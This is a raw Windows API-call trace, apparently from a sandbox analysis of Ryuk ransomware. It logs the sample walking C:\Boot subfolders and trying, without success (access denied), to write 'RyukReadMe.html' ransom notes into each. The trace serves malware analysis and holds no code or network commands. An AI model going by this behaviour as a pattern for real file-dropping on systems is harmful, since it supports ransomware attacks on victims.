	[0122.874] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0122.874] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0122.874] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0122.874] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0122.874] SetLastError (dwErrCode=0x0) 
	[0122.874] CreateFileW (lpFileName="C:\\Boot\\el-GR\\RyukReadMe.html" (normalized: "c:\\boot\\el-gr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.875] GetLastError () returned 0x5
	[0122.875] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.875] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.875] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0122.875] SetLastError (dwErrCode=0x0) 
	[0122.875] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.875] GetLastError () returned 0x5
	[0122.875] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.875] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.876] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0122.876] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0122.876] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0122.876] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x2e, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0122.876] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x2e, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0122.876] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0122.877] SetLastError (dwErrCode=0x0) 
	[0122.877] CreateFileW (lpFileName="C:\\Boot\\en-US\\RyukReadMe.html" (normalized: "c:\\boot\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.877] GetLastError () returned 0x5
	[0122.877] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.877] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.877] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0122.877] SetLastError (dwErrCode=0x0) 
	[0122.878] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.878] GetLastError () returned 0x5
	[0122.878] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.878] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.878] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0122.878] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0122.879] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0122.879] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0122.879] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0122.879] SetLastError (dwErrCode=0x0) 
	[0122.879] CreateFileW (lpFileName="C:\\Boot\\es-ES\\RyukReadMe.html" (normalized: "c:\\boot\\es-es\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.879] GetLastError () returned 0x5
	[0122.879] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.879] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.880] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0122.880] SetLastError (dwErrCode=0x0) 
	[0122.880] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.880] GetLastError () returned 0x5
	[0122.880] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.880] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.880] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0122.881] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0122.881] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0122.881] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0122.881] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0122.881] SetLastError (dwErrCode=0x0) 
	[0122.881] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\RyukReadMe.html" (normalized: "c:\\boot\\fi-fi\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.882] GetLastError () returned 0x5
	[0122.882] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.882] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.882] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0122.882] SetLastError (dwErrCode=0x0) 
	[0122.882] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.882] GetLastError () returned 0x5
	[0122.883] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.883] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.883] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0122.883] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0122.883] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x2e, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0122.883] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x2e, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
	[0122.883] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x2e, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
	[0122.883] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x2e, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
	[0122.884] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x2e, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
	[0122.884] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x2e, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0
	[0122.884] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0122.884] SetLastError (dwErrCode=0x0) 
	[0122.884] CreateFileW (lpFileName="C:\\Boot\\Fonts\\RyukReadMe.html" (normalized: "c:\\boot\\fonts\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.884] GetLastError () returned 0x5
	[0122.884] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.884] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.885] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0122.885] SetLastError (dwErrCode=0x0) 
	[0122.885] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.885] GetLastError () returned 0x5
	[0122.885] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.885] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.885] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0122.886] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0122.886] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0122.886] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0122.886] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0122.886] SetLastError (dwErrCode=0x0) 
	[0122.886] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\RyukReadMe.html" (normalized: "c:\\boot\\fr-fr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.886] GetLastError () returned 0x5
